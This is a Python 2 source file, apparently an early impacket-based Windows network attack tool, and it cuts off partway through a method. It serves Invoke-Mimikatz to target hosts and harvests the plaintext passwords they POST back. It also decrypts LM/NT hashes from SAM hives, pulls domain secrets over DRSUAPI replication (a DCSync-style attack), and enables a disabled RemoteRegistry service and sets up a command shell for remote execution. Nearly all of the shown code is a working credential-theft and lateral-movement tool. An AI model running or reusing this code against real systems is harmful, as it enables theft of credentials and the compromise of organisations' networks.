1910 lines
73 KiB
Python
Executable File
1910 lines
73 KiB
Python
Executable File
#!/usr/bin/env python2
|
|
|
|
#This must be one of the first imports or else we get threading error on completion
|
|
from gevent import monkey
|
|
monkey.patch_all()
|
|
|
|
from gevent import sleep
|
|
from gevent.pool import Pool
|
|
from gevent import joinall
|
|
from netaddr import IPNetwork, IPRange, IPAddress
|
|
from threading import Thread
|
|
from base64 import b64encode
|
|
from struct import unpack, pack
|
|
from impacket import smbserver, ntlm, winregistry
|
|
from impacket.dcerpc.v5 import transport, scmr, samr, drsuapi, rrp, tsch, srvs, wkst
|
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
from impacket.dcerpc.v5.dcom import wmi
|
|
from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION
|
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
from impacket.structure import Structure
|
|
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
|
from impacket.smbconnection import *
|
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
|
from argparse import RawTextHelpFormatter
|
|
from binascii import unhexlify, hexlify
|
|
from Crypto.Cipher import DES, ARC4
|
|
from datetime import datetime
|
|
|
|
import StringIO
|
|
import ntpath
|
|
import time
|
|
import socket
|
|
import hashlib
|
|
import BaseHTTPServer
|
|
import logging
|
|
import argparse
|
|
import ConfigParser
|
|
import traceback
|
|
import random
|
|
import sys
|
|
import os
|
|
import string
|
|
|
|
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
|
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
|
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
|
SMBSERVER_DIR = 'served_over_smb'
|
|
DUMMY_SHARE = 'TMP'
|
|
|
|
logging.basicConfig(format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
|
log = logging.getLogger()
|
|
log.setLevel(logging.INFO)
|
|
|
|
# Structures
|
|
# Taken from http://insecurety.net/?p=768
|
|
class SAM_KEY_DATA(Structure):
|
|
structure = (
|
|
('Revision','<L=0'),
|
|
('Length','<L=0'),
|
|
('Salt','16s=""'),
|
|
('Key','16s=""'),
|
|
('CheckSum','16s=""'),
|
|
('Reserved','<Q=0'),
|
|
)
|
|
|
|
class DOMAIN_ACCOUNT_F(Structure):
|
|
structure = (
|
|
('Revision','<L=0'),
|
|
('Unknown','<L=0'),
|
|
('CreationTime','<Q=0'),
|
|
('DomainModifiedCount','<Q=0'),
|
|
('MaxPasswordAge','<Q=0'),
|
|
('MinPasswordAge','<Q=0'),
|
|
('ForceLogoff','<Q=0'),
|
|
('LockoutDuration','<Q=0'),
|
|
('LockoutObservationWindow','<Q=0'),
|
|
('ModifiedCountAtLastPromotion','<Q=0'),
|
|
('NextRid','<L=0'),
|
|
('PasswordProperties','<L=0'),
|
|
('MinPasswordLength','<H=0'),
|
|
('PasswordHistoryLength','<H=0'),
|
|
('LockoutThreshold','<H=0'),
|
|
('Unknown2','<H=0'),
|
|
('ServerState','<L=0'),
|
|
('ServerRole','<H=0'),
|
|
('UasCompatibilityRequired','<H=0'),
|
|
('Unknown3','<Q=0'),
|
|
('Key0',':', SAM_KEY_DATA),
|
|
# Commenting this, not needed and not present on Windows 2000 SP0
|
|
# ('Key1',':', SAM_KEY_DATA),
|
|
# ('Unknown4','<L=0'),
|
|
)
|
|
|
|
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
|
class USER_ACCOUNT_V(Structure):
|
|
structure = (
|
|
('Unknown','12s=""'),
|
|
('NameOffset','<L=0'),
|
|
('NameLength','<L=0'),
|
|
('Unknown2','<L=0'),
|
|
('FullNameOffset','<L=0'),
|
|
('FullNameLength','<L=0'),
|
|
('Unknown3','<L=0'),
|
|
('CommentOffset','<L=0'),
|
|
('CommentLength','<L=0'),
|
|
('Unknown3','<L=0'),
|
|
('UserCommentOffset','<L=0'),
|
|
('UserCommentLength','<L=0'),
|
|
('Unknown4','<L=0'),
|
|
('Unknown5','12s=""'),
|
|
('HomeDirOffset','<L=0'),
|
|
('HomeDirLength','<L=0'),
|
|
('Unknown6','<L=0'),
|
|
('HomeDirConnectOffset','<L=0'),
|
|
('HomeDirConnectLength','<L=0'),
|
|
('Unknown7','<L=0'),
|
|
('ScriptPathOffset','<L=0'),
|
|
('ScriptPathLength','<L=0'),
|
|
('Unknown8','<L=0'),
|
|
('ProfilePathOffset','<L=0'),
|
|
('ProfilePathLength','<L=0'),
|
|
('Unknown9','<L=0'),
|
|
('WorkstationsOffset','<L=0'),
|
|
('WorkstationsLength','<L=0'),
|
|
('Unknown10','<L=0'),
|
|
('HoursAllowedOffset','<L=0'),
|
|
('HoursAllowedLength','<L=0'),
|
|
('Unknown11','<L=0'),
|
|
('Unknown12','12s=""'),
|
|
('LMHashOffset','<L=0'),
|
|
('LMHashLength','<L=0'),
|
|
('Unknown13','<L=0'),
|
|
('NTHashOffset','<L=0'),
|
|
('NTHashLength','<L=0'),
|
|
('Unknown14','<L=0'),
|
|
('Unknown15','24s=""'),
|
|
('Data',':=""'),
|
|
)
|
|
|
|
class NL_RECORD(Structure):
|
|
structure = (
|
|
('UserLength','<H=0'),
|
|
('DomainNameLength','<H=0'),
|
|
('EffectiveNameLength','<H=0'),
|
|
('FullNameLength','<H=0'),
|
|
('MetaData','52s=""'),
|
|
('FullDomainLength','<H=0'),
|
|
('Length2','<H=0'),
|
|
('CH','16s=""'),
|
|
('T','16s=""'),
|
|
('EncryptedData',':'),
|
|
)
|
|
|
|
|
|
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
|
|
structure = (
|
|
('Value','6s'),
|
|
)
|
|
|
|
class SAMR_RPC_SID(Structure):
|
|
structure = (
|
|
('Revision','<B'),
|
|
('SubAuthorityCount','<B'),
|
|
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
|
|
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
|
|
('SubAuthority',':'),
|
|
)
|
|
|
|
def formatCanonical(self):
|
|
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
|
|
for i in range(self['SubAuthorityCount']):
|
|
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
|
|
return ans
|
|
|
|
class MimikatzServer(BaseHTTPRequestHandler):
|
|
|
|
def do_GET(self):
|
|
if self.path == "/Invoke-Mimikatz.ps1":
|
|
self.send_response(200)
|
|
self.end_headers()
|
|
with open('Invoke-Mimikatz.ps1', 'r') as script:
|
|
self.wfile.write(script.read())
|
|
else:
|
|
self.send_response(404)
|
|
self.end_headers()
|
|
|
|
def do_POST(self):
|
|
self.send_response(200)
|
|
self.end_headers()
|
|
length = int(self.headers.getheader('content-length'))
|
|
data = self.rfile.read(length)
|
|
|
|
buf = StringIO.StringIO(data).readlines()
|
|
i = 0
|
|
while i < len(buf):
|
|
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
|
passw = buf[i].split(':')[1].strip()
|
|
domain = buf[i-1].split(':')[1].strip()
|
|
user = buf[i-2].split(':')[1].strip()
|
|
print '[+] {} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], domain, user, passw)
|
|
i += 1
|
|
|
|
credsfile_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
|
|
with open(credsfile_name, 'w') as creds:
|
|
creds.write(data)
|
|
print "[*] {} Saved POST data to {}".format(self.client_address[0], credsfile_name)
|
|
|
|
class SMBServer(Thread):
|
|
def __init__(self):
|
|
if os.geteuid() != 0:
|
|
exit('[!] Error: ** SMB Server must be run as root **')
|
|
Thread.__init__(self)
|
|
|
|
def run(self):
|
|
# Here we write a mini config for the server
|
|
smbConfig = ConfigParser.ConfigParser()
|
|
smbConfig.add_section('global')
|
|
smbConfig.set('global','server_name','yomama')
|
|
smbConfig.set('global','server_os','REDSTAR')
|
|
smbConfig.set('global','server_domain','WORKGROUP')
|
|
smbConfig.set('global','log_file', 'smb.log')
|
|
smbConfig.set('global','credentials_file','')
|
|
|
|
# Let's add a dummy share
|
|
smbConfig.add_section(DUMMY_SHARE)
|
|
smbConfig.set(DUMMY_SHARE,'comment','')
|
|
smbConfig.set(DUMMY_SHARE,'read only','no')
|
|
smbConfig.set(DUMMY_SHARE,'share type','0')
|
|
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
|
|
|
# IPC always needed
|
|
smbConfig.add_section('IPC$')
|
|
smbConfig.set('IPC$','comment','')
|
|
smbConfig.set('IPC$','read only','yes')
|
|
smbConfig.set('IPC$','share type','3')
|
|
smbConfig.set('IPC$','path')
|
|
|
|
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
|
|
|
self.smb.processConfigFile()
|
|
try:
|
|
self.smb.serve_forever()
|
|
except:
|
|
pass
|
|
|
|
def stop(self):
|
|
self.smb.socket.close()
|
|
self.smb.server_close()
|
|
self._Thread__stop()
|
|
|
|
class OfflineRegistry:
|
|
def __init__(self, hiveFile = None, isRemote = False):
|
|
self.__hiveFile = hiveFile
|
|
if self.__hiveFile is not None:
|
|
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
|
|
|
|
def enumKey(self, searchKey):
|
|
parentKey = self.__registryHive.findKey(searchKey)
|
|
|
|
if parentKey is None:
|
|
return
|
|
|
|
keys = self.__registryHive.enumKey(parentKey)
|
|
|
|
return keys
|
|
|
|
def enumValues(self, searchKey):
|
|
key = self.__registryHive.findKey(searchKey)
|
|
|
|
if key is None:
|
|
return
|
|
|
|
values = self.__registryHive.enumValues(key)
|
|
|
|
return values
|
|
|
|
def getValue(self, keyValue):
|
|
value = self.__registryHive.getValue(keyValue)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def getClass(self, className):
|
|
value = self.__registryHive.getClass(className)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def finish(self):
|
|
if self.__hiveFile is not None:
|
|
# Remove temp file and whatever else is needed
|
|
self.__registryHive.close()
|
|
|
|
class SAMHashes(OfflineRegistry):
|
|
def __init__(self, samFile, bootKey, isRemote = True):
|
|
OfflineRegistry.__init__(self, samFile, isRemote)
|
|
self.__samFile = samFile
|
|
self.__hashedBootKey = ''
|
|
self.__bootKey = bootKey
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__itemsFound = {}
|
|
|
|
def MD5(self, data):
|
|
md5 = hashlib.new('md5')
|
|
md5.update(data)
|
|
return md5.digest()
|
|
|
|
def getHBootKey(self):
|
|
#log.debug('Calculating HashedBootKey from SAM')
|
|
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
|
DIGITS = "0123456789012345678901234567890123456789\0"
|
|
|
|
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
|
|
|
|
domainData = DOMAIN_ACCOUNT_F(F)
|
|
|
|
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
|
|
|
|
rc4 = ARC4.new(rc4Key)
|
|
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
|
|
|
|
# Verify key with checksum
|
|
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
|
|
|
|
if checkSum != self.__hashedBootKey[16:]:
|
|
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
|
|
|
|
def __decryptHash(self, rid, cryptedHash, constant):
|
|
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
|
|
# plus hashedBootKey stuff
|
|
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
|
|
|
|
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
|
|
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
|
|
rc4 = ARC4.new(rc4Key)
|
|
key = rc4.encrypt(cryptedHash)
|
|
|
|
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
|
|
|
|
return decryptedHash
|
|
|
|
def dump(self):
|
|
NTPASSWORD = "NTPASSWORD\0"
|
|
LMPASSWORD = "LMPASSWORD\0"
|
|
|
|
if self.__samFile is None:
|
|
# No SAM file provided
|
|
return
|
|
|
|
sam_hashes = []
|
|
|
|
#log.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
|
|
self.getHBootKey()
|
|
|
|
usersKey = 'SAM\\Domains\\Account\\Users'
|
|
|
|
# Enumerate all the RIDs
|
|
rids = self.enumKey(usersKey)
|
|
# Remove the Names item
|
|
try:
|
|
rids.remove('Names')
|
|
except:
|
|
pass
|
|
|
|
for rid in rids:
|
|
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
|
|
rid = int(rid,16)
|
|
|
|
V = userAccount['Data']
|
|
|
|
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
|
|
|
|
if userAccount['LMHashLength'] == 20:
|
|
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
|
|
else:
|
|
encLMHash = ''
|
|
|
|
if userAccount['NTHashLength'] == 20:
|
|
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
|
|
else:
|
|
encNTHash = ''
|
|
|
|
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
|
|
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
|
|
|
|
if lmHash == '':
|
|
lmHash = ntlm.LMOWFv1('','')
|
|
if ntHash == '':
|
|
ntHash = ntlm.NTOWFv1('','')
|
|
|
|
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
|
self.__itemsFound[rid] = answer
|
|
sam_hashes.append(answer)
|
|
|
|
return sam_hashes
|
|
|
|
def export(self, fileName):
|
|
if len(self.__itemsFound) > 0:
|
|
items = sorted(self.__itemsFound)
|
|
fd = open(fileName+'.sam','w+')
|
|
for item in items:
|
|
fd.write(self.__itemsFound[item]+'\n')
|
|
fd.close()
|
|
|
|
class CryptoCommon:
|
|
# Common crypto stuff used over different classes
|
|
def transformKey(self, InputKey):
|
|
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
|
|
OutputKey = []
|
|
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
|
|
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
|
|
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
|
|
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
|
|
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
|
|
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
|
|
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
|
|
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
|
|
|
|
for i in range(8):
|
|
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
|
|
|
|
return "".join(OutputKey)
|
|
|
|
def deriveKey(self, baseKey):
|
|
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
|
|
# Let I be the little-endian, unsigned integer.
|
|
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
|
|
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
|
|
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
|
|
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
|
|
key = pack('<L',baseKey)
|
|
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
|
|
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
|
|
return self.transformKey(key1),self.transformKey(key2)
|
|
|
|
class RemoteFile:
|
|
def __init__(self, smbConnection, fileName):
|
|
self.__smbConnection = smbConnection
|
|
self.__fileName = fileName
|
|
self.__tid = self.__smbConnection.connectTree('ADMIN$')
|
|
self.__fid = None
|
|
self.__currentOffset = 0
|
|
|
|
def open(self):
|
|
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName)
|
|
|
|
def seek(self, offset, whence):
|
|
# Implement whence, for now it's always from the beginning of the file
|
|
if whence == 0:
|
|
self.__currentOffset = offset
|
|
|
|
def read(self, bytesToRead):
|
|
if bytesToRead > 0:
|
|
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
|
|
self.__currentOffset += len(data)
|
|
return data
|
|
return ''
|
|
|
|
def close(self):
|
|
if self.__fid is not None:
|
|
self.__smbConnection.closeFile(self.__tid, self.__fid)
|
|
self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
|
|
self.__fid = None
|
|
|
|
def tell(self):
|
|
return self.__currentOffset
|
|
|
|
def __str__(self):
|
|
return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
|
|
|
|
class RemoteOperations:
|
|
def __init__(self, smbConnection):
|
|
self.__smbConnection = smbConnection
|
|
self.__smbConnection.setTimeout(5*60)
|
|
self.__serviceName = 'RemoteRegistry'
|
|
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
|
self.__rrp = None
|
|
self.__regHandle = None
|
|
|
|
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
|
|
self.__samr = None
|
|
self.__domainHandle = None
|
|
self.__domainName = None
|
|
|
|
self.__drsr = None
|
|
self.__hDrs = None
|
|
self.__NtdsDsaObjectGuid = None
|
|
self.__doKerberos = None
|
|
|
|
self.__bootKey = ''
|
|
self.__disabled = False
|
|
self.__shouldStop = False
|
|
self.__started = False
|
|
|
|
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
|
self.__scmr = None
|
|
self.__tmpServiceName = None
|
|
self.__serviceDeleted = False
|
|
|
|
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
|
self.__shell = '%COMSPEC% /Q /c '
|
|
self.__output = '%SYSTEMROOT%\\Temp\\' + OUTPUT_FILENAME
|
|
self.__answerTMP = ''
|
|
|
|
def __connectSvcCtl(self):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
|
|
def __connectWinReg(self):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__rrp = rpc.get_dce_rpc()
|
|
self.__rrp.connect()
|
|
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
|
|
|
def connectSamr(self, domain):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__samr = rpc.get_dce_rpc()
|
|
self.__samr.connect()
|
|
self.__samr.bind(samr.MSRPC_UUID_SAMR)
|
|
resp = samr.hSamrConnect(self.__samr)
|
|
serverHandle = resp['ServerHandle']
|
|
|
|
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
|
|
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
|
|
self.__domainHandle = resp['DomainHandle']
|
|
self.__domainName = domain
|
|
|
|
def __connectDrds(self):
|
|
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
|
|
protocol='ncacn_ip_tcp')
|
|
rpc = transport.DCERPCTransportFactory(stringBinding)
|
|
if hasattr(rpc, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
|
|
rpc.set_kerberos(self.__doKerberos)
|
|
self.__drsr = rpc.get_dce_rpc()
|
|
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
if self.__doKerberos:
|
|
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
self.__drsr.connect()
|
|
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
|
|
|
|
request = drsuapi.DRSBind()
|
|
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
|
|
drs = drsuapi.DRS_EXTENSIONS_INT()
|
|
drs['cb'] = len(drs) #- 4
|
|
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
|
|
drs['SiteObjGuid'] = drsuapi.NULLGUID
|
|
drs['Pid'] = 0
|
|
drs['dwReplEpoch'] = 0
|
|
drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
|
|
drs['ConfigObjGUID'] = drsuapi.NULLGUID
|
|
drs['dwExtCaps'] = 0
|
|
request['pextClient']['cb'] = len(drs)
|
|
request['pextClient']['rgb'] = list(str(drs))
|
|
resp = self.__drsr.request(request)
|
|
|
|
self.__hDrs = resp['phDrs']
|
|
|
|
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
|
|
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
|
|
|
|
if resp['pmsgOut']['V2']['cItems'] > 0:
|
|
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
|
|
else:
|
|
log.error("Couldn't get DC info for domain %s" % self.__domainName)
|
|
raise Exception('Fatal, aborting')
|
|
|
|
def getDrsr(self):
|
|
return self.__drsr
|
|
|
|
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
|
|
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
|
|
if self.__drsr is None:
|
|
self.__connectDrds()
|
|
|
|
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
|
|
return resp
|
|
|
|
def DRSGetNCChanges(self, userEntry):
|
|
if self.__drsr is None:
|
|
self.__connectDrds()
|
|
|
|
request = drsuapi.DRSGetNCChanges()
|
|
request['hDrs'] = self.__hDrs
|
|
request['dwInVersion'] = 8
|
|
|
|
request['pmsgIn']['tag'] = 8
|
|
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
|
|
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
|
|
|
|
dsName = drsuapi.DSNAME()
|
|
dsName['SidLen'] = 0
|
|
dsName['Guid'] = drsuapi.NULLGUID
|
|
dsName['Sid'] = ''
|
|
dsName['NameLen'] = len(userEntry)
|
|
dsName['StringName'] = (userEntry + '\x00')
|
|
|
|
dsName['structLen'] = len(dsName.getData())
|
|
|
|
request['pmsgIn']['V8']['pNC'] = dsName
|
|
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
|
|
|
|
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
|
|
|
|
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC
|
|
request['pmsgIn']['V8']['cMaxObjects'] = 1
|
|
request['pmsgIn']['V8']['cMaxBytes'] = 0
|
|
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ | drsuapi.EXOP_REPL_SECRETS
|
|
request['pmsgIn']['V8']['pPartialAttrSet'] = NULL
|
|
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
|
|
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = NULL
|
|
|
|
return self.__drsr.request(request)
|
|
|
|
def getDomainUsers(self, enumerationContext=0):
|
|
if self.__samr is None:
|
|
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
|
|
try:
|
|
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
|
|
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
|
|
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
|
|
samr.USER_SERVER_TRUST_ACCOUNT |\
|
|
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
|
|
enumerationContext=enumerationContext)
|
|
except DCERPCException, e:
|
|
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
raise
|
|
resp = e.get_packet()
|
|
return resp
|
|
|
|
def getMachineNameAndDomain(self):
|
|
if self.__smbConnection.getServerName() == '':
|
|
# No serverName.. this is either because we're doing Kerberos
|
|
# or not receiving that data during the login process.
|
|
# Let's try getting it through RPC
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
dce = rpc.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(wkst.MSRPC_UUID_WKST)
|
|
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
|
dce.disconnect()
|
|
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
|
|
else:
|
|
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
|
|
|
def getDefaultLoginAccount(self):
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
|
keyHandle = ans['phkResult']
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
|
username = dataValue[:-1]
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
|
domain = dataValue[:-1]
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
if len(domain) > 0:
|
|
return '%s\\%s' % (domain,username)
|
|
else:
|
|
return username
|
|
except:
|
|
return None
|
|
|
|
def getServiceAccount(self, serviceName):
|
|
try:
|
|
# Open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
|
serviceHandle = ans['lpServiceHandle']
|
|
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
|
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
|
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
|
if account.startswith('.\\'):
|
|
account = account[2:]
|
|
return account
|
|
except Exception, e:
|
|
log.error(e)
|
|
return None
|
|
|
|
def __checkServiceStatus(self):
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
|
self.__serviceHandle = ans['lpServiceHandle']
|
|
# Let's check its status
|
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
|
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
|
log.info('Service %s is in stopped state'% self.__serviceName)
|
|
self.__shouldStop = True
|
|
self.__started = False
|
|
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
|
log.debug('Service %s is already running'% self.__serviceName)
|
|
self.__shouldStop = False
|
|
self.__started = True
|
|
else:
|
|
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
|
|
|
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
|
if self.__started is False:
|
|
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
|
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
|
log.info('Service %s is disabled, enabling it'% self.__serviceName)
|
|
self.__disabled = True
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
|
log.info('Starting service %s' % self.__serviceName)
|
|
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
|
sleep(1)
|
|
|
|
def enableRegistry(self):
|
|
self.__connectSvcCtl()
|
|
self.__checkServiceStatus()
|
|
self.__connectWinReg()
|
|
|
|
def __restore(self):
|
|
# First of all stop the service if it was originally stopped
|
|
if self.__shouldStop is True:
|
|
log.info('Stopping service %s' % self.__serviceName)
|
|
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
|
if self.__disabled is True:
|
|
log.info('Restoring the disabled state for service %s' % self.__serviceName)
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
|
if self.__serviceDeleted is False:
|
|
# Check again the service we created does not exist, starting a new connection
|
|
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
|
try:
|
|
